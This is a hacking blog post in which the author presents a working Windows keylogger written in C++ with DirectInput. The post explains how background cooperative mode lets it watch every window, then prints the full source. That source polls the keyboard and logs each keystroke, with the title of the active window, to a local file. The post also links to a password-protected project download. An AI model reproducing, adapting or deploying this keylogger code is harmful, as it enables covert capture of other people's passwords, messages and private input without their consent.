Howdy!
With that painful PIN crap behind me, I can finally be creative again. Today I wrote up a keylogger using C++ and DirectX. I normally dislike C++ because of the bloat, but DirectX and C don’t always play nicely.
I’ve talked about keyloggers in the past, and even wrote one using traditional means. Traditionally, one hooks all Window Messages, specifically the KeyDown / KeyUp ones with a call to the SetWindowsHookEx API. You write your program that makes use of the API up as a DLL file in order to be shared among other processes and hook all Window Message events.
The DirectX method is a little different. Direct Input is an extension of DirectX that allows for precise control of the mouse, keyboard, and joysticks for use in graphics programming and games.
Of particular interest is the SetCooperativeLevel method offered through the DirectInput method. The ‘flags’ parameter of ‘DISCL_BACKGROUND’ allows us to monitor all windows for activity. This means we don’t need a separate DLL to monitor all other windows – neato!
Caveats, always with the caveats. The problem with using Direct Input to monitor key stokes is somewhat glaring: there is no distinction between capital and lowercase letters. Unlike traditional methods where we grab the scan code associated with the keystroke (wparam / lparam within WM_KEYDOWN / WM_KEYUP), we are limited to base letters. So we are trading off this lack of functionality for a lack of needing 2 files (main exe and dll). A fine trade.
Now for some codes!
include "stdafx.h" #include "DirectX_fuckery.h" #include <d3d9.h> #include <d3dx9.h> #include <dinput.h> #pragma comment (lib, "d3dx9.lib") #pragma comment (lib, "d3d9.lib") #pragma comment (lib, "dinput8.lib") #pragma comment (lib, "dxguid.lib") #include <string> #include <atlstr.h> #define MAX_LOADSTRING 100 // Global Variables: using namespace std; ofstream outfile; HINSTANCE hInst; // current instance TCHAR szTitle[MAX_LOADSTRING]; // The title bar text TCHAR szWindowClass[MAX_LOADSTRING]; // the main window class name LPDIRECTINPUT8 din; LPDIRECTINPUTDEVICE8 dinkeyboard; static BYTE Keys[256]; // Forward declarations of functions included in this code module: ATOM MyRegisterClass(HINSTANCE hInstance); BOOL InitInstance(HINSTANCE, int); LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM); void InitDirectInput(HINSTANCE hInstance, HWND gw); void GetKeys(BYTE* KeyState); void CloseDirectInput(void); string GetCurrentWindowInfo(void); bool KeyDown(int key) { #define KEYDOWN(name, key) (name[key] & 0x80) return (KEYDOWN(Keys, key) != 0); } int APIENTRY _tWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPTSTR lpCmdLine, _In_ int nCmdShow) { UNREFERENCED_PARAMETER(hPrevInstance); UNREFERENCED_PARAMETER(lpCmdLine); outfile.open("strokes.txt"); // add location? // TODO: Place code here. MSG msg; HACCEL hAccelTable; // Initialize global strings LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING); LoadString(hInstance, IDC_DIRECTX_FUCKERY, szWindowClass, MAX_LOADSTRING); MyRegisterClass(hInstance); // Perform application initialization: if (!InitInstance (hInstance, nCmdShow)) { return FALSE; } hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_DIRECTX_FUCKERY)); // Main message loop: while (GetMessage(&msg, NULL, 0, 0)) { if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) { TranslateMessage(&msg); DispatchMessage(&msg); } } return (int) msg.wParam; } ATOM MyRegisterClass(HINSTANCE hInstance) { WNDCLASSEX wcex; wcex.cbSize = sizeof(WNDCLASSEX); wcex.style = CS_HREDRAW | CS_VREDRAW; wcex.lpfnWndProc = WndProc; wcex.cbClsExtra = 0; wcex.cbWndExtra = 0; wcex.hInstance = hInstance; wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_DIRECTX_FUCKERY)); wcex.hCursor = LoadCursor(NULL, IDC_ARROW); wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); wcex.lpszMenuName = MAKEINTRESOURCE(IDC_DIRECTX_FUCKERY); wcex.lpszClassName = szWindowClass; wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL)); return RegisterClassEx(&wcex); } BOOL InitInstance(HINSTANCE hInstance, int nCmdShow) { HWND hWnd; hInst = hInstance; hWnd = CreateWindow(szWindowClass, szTitle, WS_BORDER, CW_USEDEFAULT, 0, 300, 300, NULL, NULL, hInstance, NULL); if (!hWnd) { return FALSE; } ShowWindow(hWnd, nCmdShow); UpdateWindow(hWnd); SetTimer(hWnd, 3809218, 150, (TIMERPROC)NULL); return TRUE; } LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { int wmId, wmEvent; PAINTSTRUCT ps; HDC hdc; switch (message) { case WM_COMMAND: wmId = LOWORD(wParam); wmEvent = HIWORD(wParam); switch (wmId) { case IDM_ABOUT: DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About); break; case IDM_EXIT: DestroyWindow(hWnd); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } break; case WM_TIMER: GetKeys(&Keys[0]); break; case WM_PAINT: hdc = BeginPaint(hWnd, &ps); InitDirectInput(hInst, hWnd); // first run, we init direct input EndPaint(hWnd, &ps); break; case WM_DESTROY: outfile.close(); CloseDirectInput(); // dont need uit, unacquire PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; } // Message handler for about box. INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) { UNREFERENCED_PARAMETER(lParam); switch (message) { case WM_INITDIALOG: return (INT_PTR)TRUE; case WM_COMMAND: if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) { EndDialog(hDlg, LOWORD(wParam)); return (INT_PTR)TRUE; } break; } return (INT_PTR)FALSE; } void InitDirectInput(HINSTANCE hInstance, HWND gw) { DirectInput8Create(hInstance, DIRECTINPUT_VERSION, IID_IDirectInput8, (void**)&din, NULL); din->CreateDevice(GUID_SysKeyboard, &dinkeyboard, NULL); dinkeyboard->SetDataFormat(&c_dfDIKeyboard); dinkeyboard->SetCooperativeLevel(gw, DISCL_NONEXCLUSIVE | DISCL_BACKGROUND); return; } void CloseDirectInput(void) { dinkeyboard->Unacquire(); din->Release(); return; } void GetKeys(BYTE *KeyState){ // https://msdn.microsoft.com/en-us/library/windows/desktop/ee418641(v=vs.85).aspx // ^^ DIRECTINPUT enum HRESULT hr; hr = dinkeyboard->GetDeviceState(256, (LPVOID)KeyState); if (FAILED(hr)) { ZeroMemory(Keys, 256); // zero out old keys info after each iteration. dinkeyboard->Acquire(); return; } if (KeyDown(DIK_A)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: A" << endl; } if (KeyDown(DIK_B)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: B" << endl; } if (KeyDown(DIK_C)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: C" << endl; } if (KeyDown(DIK_D)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: D" << endl; } if (KeyDown(DIK_E)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: E" << endl; } if (KeyDown(DIK_F)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: F" << endl; } if (KeyDown(DIK_G)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: G" << endl; } if (KeyDown(DIK_H)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: H" << endl; } if (KeyDown(DIK_I)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: I" << endl; } if (KeyDown(DIK_J)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: J" << endl; } if (KeyDown(DIK_K)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: K" << endl; } if (KeyDown(DIK_L)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: L" << endl; } if (KeyDown(DIK_M)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: M" << endl; } if (KeyDown(DIK_N)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: N" << endl; } if (KeyDown(DIK_O)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: O" << endl; } if (KeyDown(DIK_P)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: P" << endl; } if (KeyDown(DIK_Q)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: Q" << endl; } if (KeyDown(DIK_R)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: R" << endl; } if (KeyDown(DIK_S)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: S" << endl; } if (KeyDown(DIK_T)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: T" << endl; } if (KeyDown(DIK_U)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: U" << endl; } if (KeyDown(DIK_V)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: V" << endl; } if (KeyDown(DIK_W)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: W" << endl; } if (KeyDown(DIK_X)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: X" << endl; } if (KeyDown(DIK_Y)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: Y" << endl; } if (KeyDown(DIK_Z)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: Z" << endl; } if (KeyDown(DIK_CAPITAL)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: CAPS LOCK" << endl; } if (KeyDown(DIK_DELETE)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: DELETE KEY" << endl; } if (KeyDown(DIK_EQUALS)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: =" << endl; } if (KeyDown(DIK_APOSTROPHE)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: \"" << endl; } if (KeyDown(DIK_BACK)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: BACKSPACE" << endl; } if (KeyDown(DIK_GRAVE)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: `" << endl; } if (KeyDown(DIK_LSHIFT)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: LEFT SHIFT" << endl; } if (KeyDown(DIK_MINUS)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: -" << endl; } if (KeyDown(DIK_PERIOD)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: ." << endl; } if (KeyDown(DIK_SPACE)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: SPACEBAR" << endl; } if (KeyDown(DIK_RETURN)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: RETURN OR ENTER" << endl; } if (KeyDown(DIK_MINUS)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: -" << endl; } if (KeyDown(DIK_PERIOD)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: ." << endl; } if (KeyDown(DIK_SPACE)) { outfile << "Window is " << GetCurrentWindowInfo() << "\r\nKey entered: SPACEBAR" << endl; } return; } string GetCurrentWindowInfo(void) { TCHAR cock[1024] = L"this is just placeholder text. it works for some reason. somehting to do with buffer init"; POINT pt; GetCursorPos(&pt); HWND curwin = WindowFromPoint(pt); if (curwin == NULL) { return "null window"; } else { InternalGetWindowText(curwin, cock, wcslen(cock -1)); string retmelol = CW2A(cock); if (retmelol == "") { return "no window"; } return retmelol; } }
There’s design / art, there’s no buttons, just a quick and dirty windows app. Real hackers can’t design for shit. You can download the project here. The password is ‘lol’.
Thanks for reading. Maybe I’ll see some of you all at Defcon this year.
Happy Hacking